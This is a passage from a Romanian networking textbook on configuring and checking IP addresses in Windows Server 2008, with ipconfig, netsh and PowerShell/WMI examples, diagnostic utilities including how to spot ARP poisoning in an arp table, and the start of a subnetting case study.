dintre serviciile ataate implicit tuturor conexiunilor locale. File and Printer Sharing for
Microsoft Networks permite calculatorului s partajeze fiiere pentru a fi accesate din reea.
QoS Packet Scheduler ofer control asupra traficului din reea, cu posibilitatea de a prioritiza
anumite fluxuri de date i servicii.
Network Protocols: Calculatoarele comunic printr-o conexiune doar prin intermediul
protocoalelor ataate acelei conexiuni. Suportul pentru IPv4 i IPv6 este inclus implicit pentru
116 | R e e l e L o c a l e

toate conexiunile locale, alturi de suportul pentru LLTD Mapper i LLTD Responder (descrise n
seciunea 3.4.1).

Este posibil vizualizarea setrilor avansate pentru conexiunile din Network Connections.
Pentru aceasta, din fereastra Network Connections, se alege opiunea Advanced Settings din
meniul Advanced
1
:


3-14: Setri avansate ale conexiunilor din Network Connections
n fereastra de setri avansate, la categoria Adapters and Bindings sunt afiate
conexiunile curente, n ordinea prioritilor. Modificarea ordinii conexiunilor, deci ajustarea
prioritilor, are ca efect forarea sistemului de operare n ncercarea de a comunica prin
anumite conexiuni n ordinea definit de administrator. De asemenea, se poate configura i
ordinea atarii serviciilor pentru fiecare conexiune n parte, n partea de jos a ferestrei.
3.4.3 Vizualizarea parametrilor de reea
Configuraia IP a unei interfee presupune cel puin o adres IPv4 i o masc de reea sau
o adresa IPv6 i un prefix de reea. Pe lng aceste configuraii minimale, se pot regsi i
informaii ca default gateway, adresa unuia sau a mai multor servere DNS, un sufix DNS i
adrese ale serverelor WINS.
Una dintre cele mai simple comenzi ce pot fi folosite pentru a consulta configuraia IP a
interfeelor din sistem este ipconfig, ce poate fi introdus fie n prompt-ul de comand fie n
PowerShell. Pentru a obine informaii extinse despre toate interfeele instalate n sistem se
poate folosi parametrul /all:

PS C:\Users\Administrator> ipconfig /all
[...]
Ethernet adapter Local Area Connection 4:


1
n Windows Vista este posibil ca meniul (File, Edit, View, etc.) s nu fie afiat implicit. n acest caz, se
ine apsat tasta Alt i acesta va aprea.
117 | A d r e s a r e a I P

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth LAN Access Server Driver
Physical Address. . . . . . . . . : 00-19-7D-E1-AC-04
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes

Wireless LAN adapter Wireless Network Connection:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Dell Wireless 1390 WLAN Mini-Card
Physical Address. . . . . . . . . : 00-19-7E-11-91-64
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::14c8:f79a:2ed7:74a6%16(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.1.2(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Thursday, August 07, 2008 7:04:11 PM
Lease Expires . . . . . . . . . . : Thursday, August 07, 2008 9:48:52 PM
Default Gateway . . . . . . . . . : 192.168.1.1
DHCP Server . . . . . . . . . . . : 192.168.1.1
DHCPv6 IAID . . . . . . . . . . . : 268441982
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-0F-CE-4B-E1-00-19-B9-5E-FA-DE
DNS Servers . . . . . . . . . . . : 192.168.1.1
NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter Local Area Connection:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : fiberlink.rdsnet.ro
Description . . . . . . . . . . . : Broadcom 440x 10/100 Integrated Controller
Physical Address. . . . . . . . . : 00-13-D4-9E-50-C8
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
[...]
3-15: Fragment din rezultatul comenzii ipconfig /all
Comanda ipconfig poate fi folosit i pentru a fora primirea unei configuraii prin DHCP,
dac exist un astfel de server n reea. Pentru aceasta, comanda ipconfig /release terge
configuraia dinamic de pe toate interfeele configurate dinamic iar comanda ipconfig
/renew trimite cereri DHCP pe toate interfeele ce au fost setate pentru configurare
automat.
Vizualizarea strii unei conexiuni poate fi realizat i prin intermediul utilitarelor Network
Connections i Network and Sharing Center. Pentru a afia fereastra de stare a unei conexiuni
se apas clic dreapta pe una dintre conexiunile din Network Connections i se alege Status din
meniul contextual (sau dublu clic direct) sau se apas direct pe View Status din dreptul
conexiunii dorite, din Network and Sharing Center.

118 | R e e l e L o c a l e


3-16: Starea unei conexiuni, mpreun cu detaliile sale
Din fereastra de stare a conexiunii se poate accesa i o fereastr cu detalii despre
conexiune, ce include detalii despre interfaa de reea folosit, adresele configurate i alte
detalii legate de configurarea automat (dac este cazul).
3.4.4 Configurarea manual a adreselor IP
O conexiune poate beneficia de o configuraie IP manual sau automat. Configuraia
manual este denumit i configuraie static deoarece persist i dup restartarea sistemului
i este de importan critic pentru servere i echipamente specializate ntr-o reea.
Asignarea manual a unei adrese statice i a altor parametri de configurare IPv4 unei
conexiuni se face folosind fereastra Internet Protocol Version 4 (TCP/IP) Properties din lista de
protocoale ataate unei conexiuni. Pentru a o accesa, se deschide fereastra de proprieti a
unei conexiuni (figura 3-13) i se face dublu clic pe Internet Protocol Version 4 (TCP/IPv4).

119 | A d r e s a r e a I P


3-17: Fereastra de configurare a adreselor protocolului IPv4
Implicit, o conexiune de reea este setat pentru a-i obine automat configuraia. Pentru
a specifica o configuraie static, este necesar selectarea opiunii Use the following IP address
eventual mpreun cu specificarea unui server DNS primar i a unuia alternativ.
n cazul utilizrii IPv6, de cele mai multe ori nu este necesar configurarea de adrese IPv6
static pe staii ci doar pe routere, staiile obinndu-i informaiile prin autoconfigurare.
Totui, Windows Server 2008 permite asignarea de adrese IPv6 i la nivel de staii. Pentru
configurarea unei adrese IPv6, procedura este aceeai ca i la IPv4, cu diferena c din
fereastra de proprieti a unei conexiuni se alege Internet Protocol Version 6 (TCP/IPv6).

120 | R e e l e L o c a l e


3-18: Fereastra de configurare a adreselor protocolului IPv6
Atenie, introducerea unei adrese statice de tip IPv6 necesit i introducerea unei adrese a
unui server DNS de tip IPv6.
3.4.5 Definirea unei configuraii IP alternative
n cazul n care n aria de broadcast a unui client nu este localizat un server DHCP, un client
ce a fost configurat s i obin configuraia IP n mod automat va recurge la informaiile din
configuraia IP alternativ, dac aceasta a fost definit.
Asignarea unei configuraii alternative se face prin selectarea paginii Alternate
Configuration din ferestrea de configurare Internet Protocol Version 4 (TCP/IPv4) Properties.
Configuraia alternativ suport specificarea unei adrese IP, a unei mti de reea, a unui
default gateway, a unuia sau a dou servere DNS i a unuia sau a dou servere WINS.

121 | A d r e s a r e a I P


3-19: Fereastra pentru configuraia IPv4 alternativ
Deoarece o configuraie alternativ permite unui calculator s foloseasc o configuraie IP
specific i detaliat n momentul n care nu se detecteaz un server DHCP n reeaua local,
ea este util pentru sistemele mobile care circul ntre reele, unele cu servere DHCP iar altele
fr.
Pentru IPv6 nu se poate specifica o configuraie alternativ.
3.4.6 Asignarea automat a adreselor private (APIPA)
APIPA este un acronim pentru Automatic Private IP Addressing i reprezint o facilitate de
asignare automat a adreselor locale n reele temporare sau ad hoc. Cnd un calculator ce
ruleaz Windows a fost configurat s i obin configuraia IP n mod automat, dac nu exist
un server DHCP n reeaua local i nici configuraia alternativ nu a fost specificat, el va
folosi APIPA pentru a-i asigna o adres privat din intervalul 169.254.0.1 169.254.255.254
(se observ c masca de reea este 255.255.0.0).
n mod implicit, toate calculatoarele sunt setate s foloseasc APIPA n cazul n care nu
primesc rspuns de la un server DHCP din reeaua local. Mai exact, dup cum se observ din
figura 3-19, n fereastra de configurare alternativ este bifat, implicit, opiunea Automatic
Private IP Address ceea ce evideniaz att lipsa unei configuraii alternative ct i utilizarea
APIPA. Practic, se poate considera c, n lipsa unui server DHCP, este folosit ntotdeauna
configuraia alternativ, chiar i n cazul n care aceasta specific folosirea APIPA.
APIPA este o tehnic util pentru c ea permite calculatoarelor aflate n acelai domeniu
de broadcast s comunice chiar i n lipsa unui server DHCP sau a oricrui alt tip de
configuraie manual. De asemenea, ea reprezint o soluie alternativ i pentru situaia n
care un server DHCP devine nefuncional
1
. Dac la un moment de tip ulterior serverul DHCP
redevine operaional, configuraia automat va dobndi prioritate naintea celei setate de

1
Totui, dac un server DHCP devine neoperaional, staiile vor recurge la APIPA doar dup expirarea
timpului de nchiriere a ultimei configuraii obinute de la acesta, deci trecerea nu se va face instantaneu.
122 | R e e l e L o c a l e

APIPA i o va rescrie, staiile continundu-i comunicaia folosind schema de adresare oferit
de serverul DHCP
1
.
n practic, se poate detecta momentul n care APIPA a intrat n funciune dac dou sau
mai multe calculatoare din reea pot comunica ntre ele dar nu i cu altele sau n afara reelei.
O practic recomandat n acest caz este verificarea configuraiei IP a staiilor pentru a
indentifica prezena adreselor oferite de APIPA i verificarea funcionrii i a accesului la
serverul DHCP.
Exist i o serie de limitri importante ce trebuie avute n vedere n momentul n care
staiile sunt configurate prin APIPA. Spre exemplu, calculatoarele configurate astfel vor putea
comunica doar cu alte calculatoare configurate prin APIPA din acelai domeniu de broadcast
(din considentele adresrii IP n interiorul unei reele locale, vor fi acceptate doar pachetele
care aparin reelei calculate din adresa IP i masca configurat pe interfa). De asemenea,
staiile ce folosesc APIPA nu vor putea avea acces la Internet i nu se pot configura adrese
pentru servere DNS sau WINS i nu se poate specifica niciun default gateway.
Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::525:fc37:994d:636f%14
IPv4 Address. . . . . . . . . . . : 169.254.216.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
3-20: Exemplu de configuraie APIPA (fragment rezultat ipconfig)
APIPA reprezint varianta Microsoft de Zero Configuration. n mod general, tehnica pentru
IPv4 poart numele de adresare tip IPV4LL (IPv4 Link Local). Mai multe detalii despre adresele
locale automate IPv4 pot fi consultate n RFC 3927
2
iar pentru IPv6 n RFC 4862
3
.
3.5 Configurarea din linia de comand
Pentru inspectarea i modificarea configuraiei IP din linie de comand, Windows Server
2008 pune la dispoziie utilitarul netsh. Comanda poate fi folosit ca un prompt de comand,
introducnd doar netsh n cmd.exe sau n PowerShell (ca mai jos) sau se poate scrie fiecare
comand cu parametrii complei pentru a primi imediat un rezultat.
PS C:\Users\Administrator> netsh
netsh>
n general, navigarea prin comenzile disponibile n netsh se poate face treptat, n sensul
c la fiecare adugare a unui parametru, dac acesta nu constituie o comand complet,
netsh va afia o list cu toi parametrii suportai n continuare, mpreun cu o scurt explicaie
a lor. Spre exemplu, dac se dorete vizualizarea tuturor comenzilor de tip show, se poate
introduce urmtoarea comand:
PS C:\Users\Administrator> netsh interface ipv4 show

The following commands are available:

Commands in this context:
show addresses - Shows IP address configurations.
show compartments - Shows compartment parameters.
show config - Displays IP address and additional information.
show destinationcache - Shows destination cache entries.
show dnsservers - Displays the DNS server addresses.
show dynamicportrange - Shows dynamic port range configuration parameters.

1
Explicaia pentru acest comportament st n faptul c o staie care recurge la APIPA o va face pentru c
este setat s obtin o configuraie automat i nu a reuit acest lucru. Deci, practic, nlocuirea configuraiei
APIPA cu cea prin DHCP se face deoarece configuraia primar are prioritate n faa celei alternative.
2
http://tools.ietf.org/html/rfc3927
3
http://tools.ietf.org/html/rfc4862
123 | A d r e s a r e a I P

show global - Shows global configuration parameters.
show icmpstats - Displays ICMP statistics.
show interfaces - Shows interface parameters.
show ipaddresses - Shows current IP addresses.
[...]
Se observ c se pot afia la acest pas configuraiile de pe fiecare interfa, serverele DNS
configurate, statistici, rute, conexiunile active i o multitudine de alte informaii.
n exemplul urmtor se dorete stabilirea unei configuraii statice pe o anumit interfa.
Pentru aceasta, este necesar s se ruleze nti o comand show care s listeze interfeele de
reea mpreun cu numerele lor de ordine:
PS C:\Users\Administrator> netsh interface ipv4 show interfaces

Idx Met MTU State Name
--- --- ----- ----------- -------------------
1 50 4294967295 connected Loopback Pseudo-Interface 1
16 40 1500 connected Wireless Network Connection
10 30 1500 disconnected Local Area Connection
12 20 1500 connected Local Area Connection 2
14 20 1500 connected Local Area Connection 3
17 40 1500 disconnected Local Area Connection 4
Dac se dorete modificarea configuraiei pentru interfaa wireless, spre exemplu, din
rezultatul obinut mai sus se reine valoarea cmpului Idx din dreptul lui Wireless Network
Connection (16 n cazul de fa).
n continuare, pentru a seta configuraia static pe interfaa wireless, se ruleaz comanda
urmtoare. Valoarea folosit pentru parametrul name reprezint indexul interfeei returnat de
comanda show precedent:
netsh interface ipv4 set address name=16 source=static address=192.168.100.75
mask=255.255.255.0 gateway=192.168.100.1
Din moment ce prezena unui server DNS este important pentru funcionarea oricrei
reele conectate la Internet i critic ntr-o configuraie Active Directory, se poate aduga
adresa unui server DNS folosind netsh n modul urmtor, folosind acelai index al interfeei
pentru a o identifica:
netsh interface ipv4 add dnsserver name=16 address=192.168.100.40
Adugarea unui server DNS folosind netsh permite specificarea unui parametru
suplimentar, index, care permite numerotarea i, implicit, introducerea mai multor servere
DNS.
Prin intermediul PowerShell se poate obine rapid o list detaliat a tuturor interfeelor de
reea instalate n sistem, prin urmtoarea comand
Get-WmiObject -Class Win32_NetworkAdapterConfiguration
n continuare, folosind Win32_NetworkAdapterConfiguration prin WMI i extinznd
comanda anterioar printr-o comand de formatare a rezultatului, se pot obine o list
simplificat a configuraiilor IP ale interfeelor de reea i din PowerShell:
PS C:\Users\Administrator> get-wmiobject Win32_NetworkAdapterConfiguration | format-
table IPAddress, Description -autosize

IPAddress Description
--------- -----------
[...]
Broadcom 440x 10/100 Integrated Controller
{192.168.1.2, fe80::14c8:f79a:2ed7:74a6} Dell Wireless 1390 WLAN Mini-Card #3
{192.168.13.1, fe80::9dd5:cc72:ab31:8927} VMware Virtual Ethernet Adapter for VMnet1
{192.168.216.1, fe80::525:fc37:994d:636f} VMware Virtual Ethernet Adapter for VMnet8
Bluetooth LAN Access Server Driver
[...]
3-21: Returnarea interfeelor i a adreselor IPv4 i IPv6 corespunztoare
Pentru o listare doar a adreselor IP, se poate folosi i varianta urmtoare a comenzii:
124 | R e e l e L o c a l e

PS C:\> Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -
ComputerName . | Select-Object -Property IPAddress

IPAddress
---------
{192.168.1.2, fe80::14c8:f79a:2ed7:74a6}
{192.168.13.1, fe80::9dd5:cc72:ab31:8927}
{192.168.216.1, fe80::525:fc37:994d:636f}
Rezultatului obinut mai sus i s-a aplicat un filtru dup proprietatea IPEnabled pentru a
selecta doar interfeele care au adrese configurate. Parametrul ComputerName urmat de punct
(.) reprezint maina local iar trimiterea prin pipe (|) comenzii Select-Object cu
parametrul Property setat indic afiarea doar a proprietii IPAddress a fiecrui obiect
returnat.
Din toate comenzile anterioare ce returneaz obiecte cu anumite propriti se observ c
PowerShell afieaz implicit doar cteva dintre ele. Pentru a afia toate proprietile unui
obiect sau, ca n cazul de fa, toate informaiile despre conexiunile de reea, se poate folosi
comanda Select-Object cu parametrul Property, ca i mai sus, dar specificndu-i-se
acestuia s afieze toate proprietile printr-un wildcard (*):
PS C:\Users\Administrator> Get-WmiObject -Class Win32_NetworkAdapterConfiguration -
Filter IPEnabled=TRUE -ComputerName .| Select-Object -Property * -ExcludeProperty IPX*,WINS*
DHCPLeaseExpires : 20080809144238.000000+120
Index : 7
Description : Dell Wireless 1390 WLAN Mini-Card #3
DHCPEnabled : True
DHCPLeaseObtained : 20080809134238.000000+120
DHCPServer : 192.168.1.1
DNSServerSearchOrder : {192.168.1.1}
IPAddress : {192.168.1.2, fe80::14c8:f79a:2ed7:74a6}
IPEnabled : True
DefaultIPGateway : {192.168.1.1}
InterfaceIndex : 16
IPSubnet : {255.255.255.0, 64}
MACAddress : 00:19:7E:11:91:64
[...]
3-22: Afiarea tuturor proprietilor unei interfee
Comanda de mai sus returneaz informaii detaliate despre configuraia IP, TCP, DNS,
rute, parametrii ai protocolului IP i diferite alte capabiliti ale interfeei.
O comand util pentru aflarea adrese IP externe de pe o staie dintr-o reea local care
folosete o adres privat
1
este cea de mai jos, ce prelucreaz rezultatul unei pagini returnate
n urma unei cereri HTML:
PS C:\> $webc = New-Object system.net.webclient
PS C:\> $webc.DownloadString("http://checkip.dydns.com") -replace "[^\d\.]
78.3.73.215
3.5.1 Verificarea unei conexiuni
Pe lnga tehnicile de verificare a strii conexiunilor descrise n seciunea 3.4.3 exist o
serie de utilitare n linie de comand, ca ping, tracert, pathping i arp ce mai pot fi folosite
pentru a detecta anumite probleme ntr-o reea. Toate acestea pot fi folosite att din prompt-
ul de comand ct i din PowerShell.

Utilitarul ping verific doar conectivitatea pn la nivelul 3 cu o anumit destinaie.
Comportamentul su este asemntor cu cel din Linux, cu diferena c implicit va trimite doar
4 pachete ICMP. Pentru o list cu parametrii suportai se folosete comanda sub forma ping

1
De reinut faptul c o comand precum ipconfig (sau alte comenzi PowerShell ce analizeaz interfeele)
va afia adresa configurat pe interfa, care poate fi o adres privat, chiar dac staia are conectivitate la
Internet prin intermediul unui gateway.
125 | A d r e s a r e a I P

/?. Din aceast list se observ c pentru a trimite mai multe pachete, comanda accept
parametrul n urmat de numrul dorit.
PS C:\Users\Administrator> ping google.com

Pinging google.com [64.233.167.99] with 32 bytes of data:
Reply from 64.233.167.99: bytes=32 time=162ms TTL=246
Reply from 64.233.167.99: bytes=32 time=163ms TTL=246
Reply from 64.233.167.99: bytes=32 time=163ms TTL=246
Reply from 64.233.167.99: bytes=32 time=173ms TTL=246

Ping statistics for 64.233.167.99:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 162ms, Maximum = 173ms, Average = 165ms
3-23: Rezultatul unei comenzi ping
Utilitarul tracert funcioneaz pe acelasi protocol ca i utilitarul ping dar urmrete
calea pn la destinaie, returnnd adresa fiecrui router de pe parcurs. Este util pentru a
detecta locul n care se e posibil s fi avut loc o ntrerupere n calea de la surs la destinaie.
PS C:\Users\Administrator> tracert yahoo.com

Tracing route to yahoo.com [206.190.60.37]
over a maximum of 30 hops:

1 3 ms 38 ms 8 ms mygateway1.ar7 [192.168.1.1]
2 30 ms 26 ms 25 ms 172.29.252.46
3 27 ms 25 ms 25 ms 172.29.32.153
4 31 ms 39 ms 35 ms gtr10-gtr11.ip.t-com.hr [195.29.240.97]
5 41 ms 41 ms 41 ms mil8-hpt-11.mil.seabone.net [195.22.196.81]
6 143 ms 143 ms 143 ms ash2-new11-racc3.new.seabone.net [195.22.216.207]
7 155 ms 155 ms 156 ms g2-12-bas2.dce.yahoo.com [206.223.115.2]
8 157 ms 155 ms 150 ms ae1-p141.msr1.re1.yahoo.com [216.115.108.19]
9 158 ms 156 ms 156 ms ge-9-3.bas-a1.re4.yahoo.com [216.39.49.3]
10 153 ms 153 ms 154 ms yahoo.com [206.190.60.37]
3-24: Rezultatul unei comenzi tracert
Se observ c adresa fiecrui router de pe parcurs este tradus n numele su conform
domeniului DNS creia i aparine. Rezolvarea acestor adrese poate ntrzia mult rezultatul lui
tracert. Pentru a mpiedica rezolvarea adreselor n nume se poate folosi parametrul d.

Utilitarul pathping se aseamn cu tracert, cu excepia faptului c scopul su este de a
localiza legturile dintre surs i destinaie care pierd ocazional pachete. Pathping trimite
ping-uri fiecrui router de pe parcurs, pn la destinaie i calculeaz numrul de rspunsuri
primite de la fiecare, artnd procentajul de pachete pierdute pe fiecare legtur.
D:\>pathping -n statia1

Tracing route to statia1 [10.54.1.196]
over a maximum of 30 hops:
0 172.16.87.35
1 172.16.87.218
2 192.168.52.1
3 192.168.80.1
4 10.54.247.14
5 10.54.1.196

Computing statistics for 125 seconds...
Source to Here This Node/Link
Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address
0 172.16.87.35
0/ 100 = 0% |
1 41ms 0/ 100 = 0% 0/ 100 = 0% 172.16.87.218
13/ 100 = 13% |
2 22ms 16/ 100 = 16% 3/ 100 = 3% 192.168.52.1
0/ 100 = 0% |
3 24ms 13/ 100 = 13% 0/ 100 = 0% 192.168.80.1
0/ 100 = 0% |
4 21ms 14/ 100 = 14% 1/ 100 = 1% 10.54.247.14
0/ 100 = 0% |
5 24ms 13/ 100 = 13% 0/ 100 = 0% 10.54.1.196

Trace complete.
126 | R e e l e L o c a l e

3-25: Rezultatul unei comenzi pathping
Att ping, pathping ct i tracert sunt utilitare care se bazeaz pe funcionarea
protocolului de nivel 3 ICMP (Internet Control Message Protocol). Totui, traficul ICMP este
implicit blocat de ctre Windows Firewall att n Windows Vista ct i n Windows Server 2008
i poate fi, de asemenea, blocat de unele routere sau alte firewall-uri (hardware sau software).
n consecin, o practic util naintea testrii conectivitii prin unul dintre utilitarele
enumerate mai sus o reprezint verificarea permisiunilor pentru protocolul ICMP cel puin prin
firewall-urile sursei i destinaiei. De notat faptul c excepia n Windows Firewall pentru ICMP
se poate aduga extrem de uor i doar prin activarea file sharing-ului.

ARP reprezint att numele unui utilitar ct i al unui protocol. Protocolul ARP (Address
Resolution Protocol) este folosit pentru a menine asocierea dintre adresele IPv4 din reeaua
local i adresele fizice, MAC ale interfeelor, pentru a se putea realiza adresarea la nivelul 2 n
interiorul unui LAN. Utilitarul arp ofer posibilitatea de a vizualiza i a modifica aceste asocieri.
Vizualizarea asocierilor memorate prin protocolul ARP este util pentru identificarea unor
asocieri incorecte. Spre exemplu, n cazul conectrii unor maini virtuale printr-o reea local,
utilitarul arp poate indica o eroare prin faptul c cele dou maini virtuale folosesc aceeai
adres MAC. Tot prin analizarea asocierilor se poate indica i probabilitatea unui atac de tip
ARP poisoning, n care atacatorul introduce forat n tabelele ARP ale staiilor propria adres
MAC, de regul asociat cu adresa IP a gateway-ului, interceptnd astfel traficul destinat n
afara reelei.
Mai jos este exemplificat rezultatul comenzii arp a pentru o memorie ARP supus unui
atac de tip ARP poisoning. Se observ c adresele IP 192.168.1.1, 192.168.1.52 i 192.168.1.53
sunt toate asociate aceleiai adrese fizice, 00-19-5b-22-31-a3. ntr-un astfel de caz, dac una
dintre adresele 192.168.1.52 sau 192.168.1.53 aparine atacatorului iar 192.168.1.1 este
adresa gateway-ului, acesta va intercepta toate pachetele trimise de la staia curent n
exteriorul reelei locale (n mod normal, spre gateway).
PS C:\Users\Administrator> arp -a

Interface: 192.168.1.2 --- 0x10
Internet Address Physical Address Type
192.168.1.1 00-19-5b-22-31-a3 dynamic
192.168.1.50 00-18-3a-78-99-f0 dynamic
192.168.1.52 00-19-5b-22-31-a3 dynamic
192.168.1.53 00-19-5b-22-31-a3 dynamic
192.168.1.64 00-1d-60-1c-b5-35 dynamic
[...]
3-26: Comanda arp -a i ARP poisoning
Protocolul ARP nu funcioneaz pentru IPv6. n cazul lui IPv6, maparea adreselor IP la
adrese MAC se face printr-un protocol denumit ND (Network Discovery). Drept urmare
atacurile de tip ARP poisoning nu funcioneaz n reele ce folosesc adresarea prin IPv6.
3.5.2 Configurri statice i dinamice prin PowerShelL
Avantajele PowerShell-ului stau n primul rnd n posibilitatea de a automatiza sarcini
complexe sau consumatoare de timp. n practic, o configuraie static sau dinamic a
parametrilor de reea, fcut din PowerShell nu e cu nimic diferit de una obinut prin netsh
sau prin intermediul Network Connections, dar pentru reele mari sau pentru situaii n care
configurarea poate deveni mai complex sau particular pentru anumii utilizatori sau sisteme,
este de dorit utilizarea avantajelor oferite de PowerShell, att din punctul de vedere al
complexitii ct i din cel al uurinei de automatizare i rspndire a scripturilor.
127 | A d r e s a r e a I P

Pentru setarea configuraiilor dinamice sau statice asupra interfeelor de reea se va folosi
WMI i clasa Win32_NetworkAdapterConfiguration care permite modificarea parametrilor
necesari pentru a realiza aceasta.
3.5.2.1 Activarea configurrii automate
Pentru a configura interfeele de reea din sistem s i obin configuraiile automat, prin
DHCP, se poate crea un script prin paii urmtori:
1. Clasa Win32_NetworkAdapterConfiguration deine o multitudine de metode i
proprieti ce pot fi enumerate prin comanda Get-Member. Se observ c deine o metod
numit EnableDHCP i o proprietate IPEnabled ce vor fi folosite n continuare:
Get-WmiObject win32_networkadapterconfiguration | Get-Member
2. Pentru a activa configuraia prin DHCP, trebuie rulat metoda EnableDHCP n contextul
fiecrei interfee de reea. n consecin, se obine o list a interfeelor filtrate dup cele
capabile de configuraii IP, pentru a exclude interfeele ce folosesc NetBEUI, IPX/SPX,
AppleTalk, etc, i se ruleaz metoda de mai sus pentru fiecare interfa obinut astfel. Scriptul
care realizeaz aceasta este urmtorul:
$interfete = Get-WmiObject Win32_NetworkAdapterConfiguration | Where {$_.IPEnabled -eq "TRUE"}
foreach($interfata in $interfete) {$interfata.EnableDHCP()}
3. n acest moment, dac se analizeaz starea configuraiei din Network Connections, se va
observa faptul c interfeele sunt, intr-adevr, configurate pentru a-i obine parametrii IP prin
DHCP, dar c serverele DNS sunt n continuare setate la valorile statice. Pentru aceasta, se va
folosi metoda SetDNSServerSearchOrder cu parametru nul. Metoda primete, de fapt, o
list de servere DNS pe care o va configura pe interfaa respectiv n ordinea n care au fost
trimise ca parametri. n cazul n care nu primete un parametru ce descrie un server DNS,
metoda va activa configurarea automat pentru serverele DNS. Scriptul se completeaz cu o
linie:
$interfete = Get-WMIObject Win32_NetworkAdapterConfiguration | where{$_.IPEnabled -eq "TRUE"}
foreach($interfata in $interfete)
{
$interfata.EnableDHCP()
$interfata.SetDNSServerSearchOrder()
}
4. Se poate folosi acum comanda ipconfig /all pentru a verifica noua configuraie. Dac s-a
realizat cu succes contactarea serverului DHCP, trebuie s fie vizibil i intervalul de timp pentru
care configuraia automat este valid (valorile Lease Obtained i Lease Expires).
3.5.2.2 Activarea configurrii statice
Din lista de metode obinut anterior se selecteaz acele metode ce seteaz parametrii
unei configuraii statice i se includ n scriptul urmtor:
$interfete = Get-WMIObject Win32_NetworkAdapterConfiguration | where{$_.IPEnabled -eq "TRUE"}
foreach($interfata in $interfete) {
$interfata.EnableStatic("192.168.171.42", "255.255.255.0")
$interfata.SetGateways("192.168.171.1")
$DNSServers = "198.102.234.125","198.102.234.126"
$interfata.SetDNSServerSearchOrder($DNSServers)
$interfata.SetDynamicDNSRegistration("TRUE")
$interfata.SetWINSServer("198.102.234.125", "198.102.234.126")
}
Drept rezultat, sunt configurate cu valori statice: adresa IP, masca de reea, default
gateway-ul, servere DNS (principal i secundar) i servere Wins. Configuraia complet poate fi
verificat de la proprietile conexiunii, TCP/IP Properties, la categoria Advanced. Aici pot fi
vizualizate configuraiile IP, DNS i WINS.
Din moment ce PowerShell lucreaz cu tipuri de date bine definite, este important de
remarcat tipurile unor parametri folosii n scriptul de mai sus:
128 | R e e l e L o c a l e

Metoda EnableStatic primete doi parametri, adresa IP i masca de reea corespunztoare;
Metoda SetDNSServerSearchOrder primete un vector de iruri ce identific serverele, ce
este definit anterior n variabila $DNSServers;
Metoda SetDynamicDNSRegistration primete o valoarea boolean i specific faptul c
sistemul va ncerca nregistrarea automat a adresei sale de reea n coresponden cu numele
calculatorului (cel definit la System Properties, din Control Panel), prin DNS. Facilitatea este
util n cazul n care o staie i schimb reeaua din care face parte iar adresarea n interiorul
reelei se face parial sau preponderent pe baz de nume;
Metoda SetWINSServer primete direct doi parametri, ce reprezint serverul primar i cel
secundar, i nu un vector, ca n cazul serverelor DNS.
3.6 Studiu de caz
O universitate a decis crearea n cadrul campusului a unei reele informatice cu acces la
Internet i a obinut urmtorul spaiu de adrese: 210.89.32.0/24. Reeaua urmeaz a fi
mprit astfel: pentru departamentul de cercetare va exista o subreea de 13 calculatoare,
pentru laboratoare 2 subreele a cte 25 de calculatoare, pentru secretariat o subreea de 9
calculatoare iar n cmin va exista o subreea cu 50 de calculatoare.
1. Care este clasa din care face parte spaiul de adrese primit?
2. Cum trebuie mprit spaiul de adrese pentru a respecta cerinele problemei?
3. Ce adresa vom aloca gateway-ului (ruterului de ieire din reea) pentru reeaua din cmin?
4. Care este adresa de difuzare pentru reeaua departamentului de cercetare?
5. Cte adrese de staie sunt disponibile n reeaua utilizat de ctre secretariat? Care sunt aceste
adrese?
6. Care este a 5-a adres de staie din primul laborator?
Rspunsuri
1. Exprimarea zecimal a primului octet din adresa de reea disponibil este cuprins n intervalul
[192 223+, ceea ce nseamn c primii trei bii ai acestui octet sunt 110, deci adresa primit
aparine clasei C.

2. Pentru a rezolva problema trebuie create cele cinci subreele descrise n enun. Mai nti vom
ncerca s mprim spaiul disponibil astfel nct toate reelele s poat conine acelai numr
de staii. Pentru aceasta trebuie s decidem ci bii sunt necesari pentru definirea unei
subreele (astfel nct s putem crea 5 distincte). Rspunsul la aceast ntrebare este dat de
cea mai mic putere a lui 2 care genereaz un numr mai mare sau egal cu necesarul de reele.
n cazul nostru, 2
3
=8 i 8 este mai mare dect 5, aadar, pentru a crea 5 subreele sunt
necesari 3 bii. Aceti trei bii (de subreea) se vor aduga n continuarea mtii de reea a
spaiului ce urmeaz a fi mprit, formnd noua masc de reea pentru noile subreele. Masca
de reea pentru o clas C este /24, adic este format din primii 24 de bii consecutivi;
adugnd n continuarea acestora nc trei, obinem masca /27 (255.255.255.224).
210 . 89 . 32 . 0 0 0 0 0 0 0 0

24 de bii 3 bii 5 bii
reea subreea staie
Cele 8 subreele ce pot fi definite sunt identificate prin biii de subreea:
210. 89. 32. 000 00000 /27 prima subreea
210. 89. 32. 001 00000 /27 a doua subreea
[...]
Numrul de bii rmai disponibili pentru cmpul de staie este 5 (32 27). nseamn
c putem avea cte 2
5
-2 = 32-2 = 30 de adrese de staie n fiecare subreea. Acest lucru nu
corespunde ns cu cerinele problemei: reeaua din cmin trebuie s conin 50 de staii.

Pentru a satisface cerinele impuse de problem trebuie folosite mti de reea cu
lungime variabil.
129 | A d r e s a r e a I P


Se ia reeaua cu cel mai mare numr de staii necesar, n cazul de fa, reeaua din cmin, cu
50 de staii, i se va decide ci bii sunt necesari pentru a defini 50 de adrese de staie. Cum
